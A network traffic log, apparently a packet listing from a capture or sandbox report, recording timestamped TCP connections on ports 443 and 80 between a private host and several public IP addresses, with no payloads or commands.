Mar 19, 2025 20:28:19.894459009 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:19.895540953 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:19.895554066 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:19.895823002 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:19.896145105 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:19.898083925 CET	443	49715	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:19.898219109 CET	49715	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:19.899293900 CET	49715	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:19.899303913 CET	443	49715	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:19.899544001 CET	443	49715	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:19.940325022 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:19.946168900 CET	49715	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.229630947 CET	49715	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.229722023 CET	443	49715	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.229773998 CET	49715	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.365852118 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.365947008 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.365979910 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.366007090 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.366015911 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.366044044 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.366069078 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.366081953 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.366151094 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.366177082 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.366184950 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.366228104 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.366233110 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.366240025 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.366285086 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.366322994 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.366331100 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.366369963 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.367014885 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.367083073 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.367117882 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.367151022 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.367165089 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.367269993 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.368242979 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.369559050 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.369601965 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.369616985 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.369632006 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.369687080 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.369800091 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.369965076 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370023012 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.370026112 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370038986 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370107889 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.370217085 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370347977 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370381117 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370397091 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.370405912 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370448112 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.370466948 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370522976 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370570898 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.370579004 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370764971 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370799065 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370810032 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.370816946 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.370855093 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.371157885 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.371223927 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.371264935 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.371273041 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.371434927 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.371468067 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.371475935 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.371484995 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.371516943 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.371524096 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.372184038 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.372242928 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.372253895 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.372276068 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.372296095 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.372303009 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.372319937 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.422163010 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.438345909 CET	49682	80	192.168.2.18	204.79.197.203
Mar 19, 2025 20:28:20.461509943 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.461872101 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.461976051 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.461997032 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.462052107 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.462102890 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.462153912 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.462179899 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.462239981 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.508147955 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.508236885 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.508281946 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.508281946 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.508312941 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.509032965 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.509083033 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.509097099 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.509174109 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.509327888 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.509409904 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.509867907 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.509949923 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.509962082 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.509998083 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.510027885 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.510437965 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.510526896 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.510540009 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.510554075 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.510591984 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.511348963 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.511436939 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.511466026 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.511476994 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.511518955 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.512209892 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.512293100 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.512312889 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.512878895 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.513221025 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.513312101 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.513318062 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.513336897 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.513374090 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.513384104 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.556468964 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.556566954 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.556577921 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.556601048 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.556657076 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.556657076 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.556799889 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.556904078 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.556905985 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.556988001 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.557039976 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.557470083 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.557547092 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.557724953 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.558119059 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.558533907 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.558643103 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.558660030 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.558676004 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.558691025 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.558713913 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.601433992 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.601501942 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.601527929 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.601599932 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.601803064 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.601838112 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.601877928 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.601877928 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.601891994 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.601932049 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.601980925 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.602046967 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.652261972 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.652400970 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.653549910 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.653630972 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.653655052 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.653755903 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.653768063 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.653783083 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.653822899 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.653822899 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.654006958 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.654122114 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.654169083 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.654169083 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.654181957 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.654231071 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.654612064 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.654680967 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.654719114 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.654932022 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.654939890 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.655014992 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.655042887 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.655042887 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.655055046 CET	443	49714	172.67.157.189	192.168.2.18
Mar 19, 2025 20:28:20.655086040 CET	49714	443	192.168.2.18	172.67.157.189
Mar 19, 2025 20:28:20.782181025 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:20.782219887 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:20.782377005 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:20.782603979 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:20.782624006 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:20.784202099 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:20.784243107 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:20.784492016 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:20.784523010 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:20.784528971 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:20.784763098 CET	49719	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:20.784840107 CET	443	49719	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:20.784908056 CET	49719	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:20.785096884 CET	49719	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:20.785132885 CET	443	49719	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:20.976708889 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:20.976830959 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:20.979046106 CET	443	49719	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:20.979165077 CET	49719	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:20.979674101 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:20.979799986 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:20.980216026 CET	49719	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:20.980226994 CET	443	49719	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:20.980479956 CET	443	49719	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:20.981072903 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:20.981091976 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:20.981146097 CET	49719	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:20.981338024 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:20.981677055 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:20.981698990 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:20.981800079 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:20.981942892 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:20.982278109 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.024333954 CET	443	49719	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.028321981 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.028330088 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.153187037 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.165755033 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.165777922 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.165846109 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.165867090 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.165927887 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.188105106 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.188132048 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.188208103 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.188215971 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.188256979 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.202871084 CET	443	49719	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.202938080 CET	443	49719	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.203241110 CET	49719	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.203597069 CET	49719	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.203597069 CET	49719	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.203655005 CET	443	49719	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.203728914 CET	49719	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.205496073 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.205547094 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.205723047 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.205888987 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.205904007 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.207743883 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.207787991 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.207840919 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.207851887 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.207879066 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.207922935 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.207969904 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.208014965 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.208014965 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.208017111 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.208029032 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.208086014 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.208183050 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.208245039 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.208363056 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.208828926 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.208986044 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.208998919 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.209053040 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.209115028 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.209147930 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.209176064 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.209204912 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.209204912 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.209214926 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.209336042 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.209762096 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.209933043 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.209985018 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.209995985 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.210066080 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.210098028 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.210118055 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.210125923 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.210261106 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.210549116 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.210699081 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.210794926 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.210804939 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.210901022 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.210988998 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.211178064 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.211185932 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.211251974 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.211618900 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.211822033 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.211848974 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.211870909 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.211893082 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.211905003 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.211915016 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.211930037 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.211947918 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.211988926 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.211994886 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.212022066 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.212070942 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.212122917 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.212389946 CET	49718	443	192.168.2.18	104.17.24.14
Mar 19, 2025 20:28:21.212402105 CET	443	49718	104.17.24.14	192.168.2.18
Mar 19, 2025 20:28:21.229507923 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.254410982 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.254436970 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.254533052 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.254548073 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.254971027 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.266254902 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.266273022 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.266367912 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.266367912 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.266379118 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.266469002 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.278043985 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.278064966 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.278127909 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.278146029 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.278228045 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.282763004 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.282831907 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.283165932 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.283210993 CET	443	49717	151.101.2.137	192.168.2.18
Mar 19, 2025 20:28:21.283360958 CET	49717	443	192.168.2.18	151.101.2.137
Mar 19, 2025 20:28:21.399048090 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.399368048 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.399389982 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.399539948 CET	49720	443	192.168.2.18	104.18.95.41
Mar 19, 2025 20:28:21.399544954 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.628587008 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.628632069 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.628699064 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.628736019 CET	443	49720	104.18.95.41	192.168.2.18
Mar 19, 2025 20:28:21.628736973 CET	49720	443	192.168.2.18	104.18.95.41
